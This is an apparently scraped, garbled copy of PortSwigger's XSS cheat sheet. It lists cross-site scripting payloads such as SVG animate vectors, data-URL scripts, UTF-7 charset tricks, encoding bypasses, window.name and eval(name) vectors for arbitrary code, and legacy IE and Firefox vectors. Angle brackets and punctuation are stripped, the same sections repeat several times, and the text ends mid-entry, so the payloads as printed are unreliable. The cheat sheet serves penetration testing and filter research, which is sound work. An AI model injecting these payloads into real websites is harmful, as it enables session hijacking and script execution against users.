SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
onseeked
Requires clicking the element timeline ltaudio autoplay controls onseeked=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onseeking
Requires clicking the element timeline ltaudio autoplay controls onseeking=alert(1)gtltsource src=validaudiowav type=audiowavgtltaudiogt
Compatibility
onselect
Requires you select text ltinput onselect=alert(1) value=XSS autofocusgtCompatibility
onselectionchange
Fires when text selection is changed onthe page
ltbody onselectionchange=alert(1)gtselect some textCompatibility
onselectstart
Fires when beginning a text selection ltbody onselectstart=alert(1)gtselect some textCompatibility
onshow
Fires context menu is shown ltdiv contextmenu=xssgtltpgtRight clickltmenu type=context id=xss onshow=alert(1)gtltmenugtltdivgt
Compatibility
onsubmit
Requires a form submission ltform onsubmit=alert(1)gtltinput type=submitgtCompatibility
ontouchend
Fires when the touch screen only mobiledevice
ltbody ontouchend=alert(1)gt Compatibility
ontouchmove
Fires when the touch screen and moveonly mobile device
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
No parentheses using exception handling and evalon Firefox
SVG animate tag using values ltsvggtltanimate xlinkhref=xss attributeName=href values=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
SVG animate tag using to ltsvggtltanimate xlinkhref=xss attributeName=href from=javascriptalert(1) to=1 gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
The context of this lab inside an attribute with a length limitation of 14 characters We came upwith a vector that executes JavaScript in 15 charactersoncut=alert``+ the plus is a trailingspace Do you think you can beat it
14 oncut=alert`` 128279
Basic context lengthlimit arbitrary code
Its all well and good executing JavaScript but if all you can do is call alert what use is that Inthis lab we demonstrate the shortest possible way to execute arbitrary code
19 ltqoncut=eval(name)
128279
Attribute context lengthlimit arbitrary code
Again calling alert proves you can call a function but we created another lab to find theshortest possible attribute based injection with arbitrary JavaScript
17 See link 128279
Injection occurs inside aframeset but before thebody
We received a request from twitter about this next lab It occurs within a frameset but before abody tag with equals filtered You would think you could inject a closing frameset followed by ascript block but that would be too easy
NA NA 128279
Injection occurs insidesingle quoted stringonly characters a-z0-9+` are allowed
The injection occurs within a single quoted string and the challenge is to execute arbitrarycode using the charset a-zA-Z0-9+`
NA NA 128279
VBScript protocol used to work in IE lta href=vbscriptMsgBox+1gtXSSltagt lta href= onclick=vbsMsgbox+1gtXSSltagt lta href= onclick=VBSMsgbox+1gtXSSltagt lta href= onclick=vbscriptMsgbox+1gtXSSltagt lta href= onclick=VBSCRIPTMsgbox+1gtXSSltagt lta href= language=vbs onclick=vbscriptMsgbox+1gtXSSltagt
JScript compact was a minimal version of JS thatwasnt widely used in IE
XBL also worked in FF35 using data urls ltimg src=blah style=-moz-binding url(datatextxmlcharset=utf-83C3Fxml20version3D2210223F3E3Cbindings20xmlns3D22 http3Awwwmozillaorgxbl223E3Cbinding20id3D22loader223E3Cimplementation3E3Cconstructor3E3C215BCDATA5Bvar20url203D2022alertjs 223B20var20scr203D20documentcreateElement2822script22293B20scrsetAttribute2822src222Curl293B20var20bodyElement203D20 documentgetElementsByTagName2822html2229item280293B20bodyElementappendChild28scr293B205D5D3E3Cconstructor3E3Cimplementation3E3C binding3E3Cbindings3E) gt
Safari used to allow any tag to have a onload eventinside SVG
ltsvggtltxss onload=alert(1)gt
Isindex using src attribute ltisindex type=image src=evil
Isindex using submit ltisindex type=submit style=width100height100 value=XSS formaction=evil
Isindex and formaction ltisindex type=submit formaction=javascriptalert(1)gt
Isindex and action ltisindex type=submit action=javascriptalert(1)gt
CreditsBrought to you by PortSwigger lovingly constructed by Gareth Heyes
This cheat sheet wouldnt be possible without the web security community who share their research Big thanks to James Kettle Mario Heiderich EduardoVela Masato Kinugawa Filedescriptor LeverOne Ben Hayak Alex Infuumlhr Mathias Karlsson Jan Horn Ian Hickey Gaacutebor Molnaacuter tsetnep Psych0tr1aSkyphire Abdulrhman Alqabandi brainpillow Kyo Yosuke Hasegawa White Jordan Algol jackmasa wpulog Bolk Robert Hansen David LindsaySuperhei Michal Zalewski Renaud Lifchitz Roman Ivanov Frederik Braun Krzysztof Kotowicz Giorgio Maone GreyMagic Marcus Niemietz SoroushDalili Stefano Di Paola Roman Shafigullin Lewis Ardern Michał Bentkowski SOslashᴘᴀS avanish46 Juuso Kaumlenmaumlki jinmo123 itszn13 Martin Bajanik DavidGranqvist Andrea (theMiddle) Menin simps0n hahwul Paweł Hałdrzyński Jun Kokatsu RenwaX23 sratarun har1sec Yann C gadhiyasavan p4fgdiofeher
You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request
to 1 a id xss text x 20 y 20 XSS text a
SVG set tag ltsvggtltset xlinkhref=xss attributeName=href from= to=javascriptalert(1) gtlta id=xssgtlttext x=20 y=20gtXSSlttextgtltagt
Data protocol inside script src ltscript src=datatextjavascriptalert(1)gtltscriptgt
SVG script href attribute without closing script tag ltsvggtltscript href=datatextjavascriptalert(1) gt
SVG use element ChromeFirefox ltsvggtltuse href=dataimagesvg+xmlltsvg id=x xmlns=httpwwww3org2000svg xmlnsxlink=httpwwww3org1999xlink width=100 height=100gtlta xlinkhref=javascriptalert(1)gtltrect x=0 y=0 width=100 height=100 gtltagtltsvggtxgtltusegtltsvggt
Import statement with data URL ltscriptgtimport(datatextjavascriptalert(1))ltscriptgt
Base tag with JavaScript protocol rewriting relativeURLS
Set windowname via target attribute in a ltbasegt tag ltbase target=alert(1)gtlta href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in base tagltagt
Set windowname via target attribute in a ltagt tag lta target=alert(1) href=httpsubdomain1portswigger-labsnetxssxssphpcontext=js_string_singleampx=27eval(name)gtXSS via target in a tagltagt
Set windowname via usemap attribute in a ltimggttag
Set windowname via target attribute in a ltformgt tag ltform action=httpsubdomain1portswigger-labsnetxssxssphp target=alert(1)gtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit value=XSS via target in a formgtltformgt
Set windowname via formtarget attribute in altinputgt tag type submit
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput type=submit formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type submitgtltformgt
Set windowname via formtarget attribute in altinputgt tag type image
ltformgtltinput type=hidden name=x value=eval(name)gtltinput type=hidden name=context value=js_string_singlegtltinput name=1 type=image src=validimagepng formaction=httpsubdomain1portswigger-labsnetxssxssphp formtarget=alert(1) value=XSS via formtarget in input type imagegtltformgt
Special tags
Redirect to a different domain ltmeta http-equiv=refresh content=0 url=portswigger-labsnetgt
Meta charset attribute UTF-7 ltmeta charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
Meta charset UTF-7 ltmeta http-equiv=Content-Type content=texthtml charset=UTF-7 gt +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 1
+v8 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 2
+v9 +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 3
+v+ +ADw-script+AD4-alert(1)+ADw-script+AD4-
UTF-7 BOM characters (Has to be at the start of thedocument) 4
Decimal encoding with optional semi-colon lta href=amp106avascriptalert(1)gtXSSltagtlta href=amp106avascriptalert(1)gtXSSltagt
SVG script with HTML encoding ltsvggtltscriptgtamp97lert(1)ltscriptgtltsvggt ltsvggtltscriptgtampx61lert(1)ltscriptgtltsvggt ltsvggtltscriptgtalertampNewLine(1)ltscriptgtltsvggt ltsvggtltscriptgtx=ampquotalert(1)ltscriptgtltsvggt
Decimal encoding with padded zeros lta href=amp0000106avascriptalert(1)gtXSSltagt
Iframe srcdoc HTML encoded ltiframe srcdoc=ampltscriptampgtalertamplpar1amprparampltampsolscriptampgtgtltiframegt
Iframe JavaScript URL with HTML and URL encoding ltiframe src=javascriptampx25ampx33ampx43ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45ampx61ampx6campx65ampx72ampx74ampx28ampx31ampx29ampx25ampx33ampx43ampx25ampx32ampx46ampx73ampx63ampx72ampx69ampx70ampx74ampx25ampx33ampx45gtltiframegt
This lab captures the scenario when you cant use an open tag followed by an alphanumericcharacter Sometimes you can solve this problem by bypassing the WAF entirely but whatabout when thats not an option Certain versions of NET have this behaviour and its onlyknown to be exploitable in old IE with lttag
NA NA 128279
Script based injectionbut quotes forwardslash and backslash areescaped
We often encounter this situation in the wild you have an injection inside a JavaScript variableand can inject angle brackets but quotes and forwardbackslashes are escaped so you cantsimply close the script block
The closest weve got to solving this is when you have multiple injection points The first withina script based context and the second in HTML
NA NA 128279
innerHTML context butno equals allowed
You have a site that processes the query string and URL decodes the parameters but splits onthe equals then assigns to innerHTML In this context ltscriptgt doesnt work and we cant use =to create an event
NA NA 128279
Basic context lengthlimit
This labs injection occurs within the basic HTML context but has a length limitation of 15Filedescriptor came up with a vector that could execute JavaScript in 16 characters ltqoncut=alert`` but can you beat it
15 ltq oncut=alert`` 128279
Attribute context lengthlimit
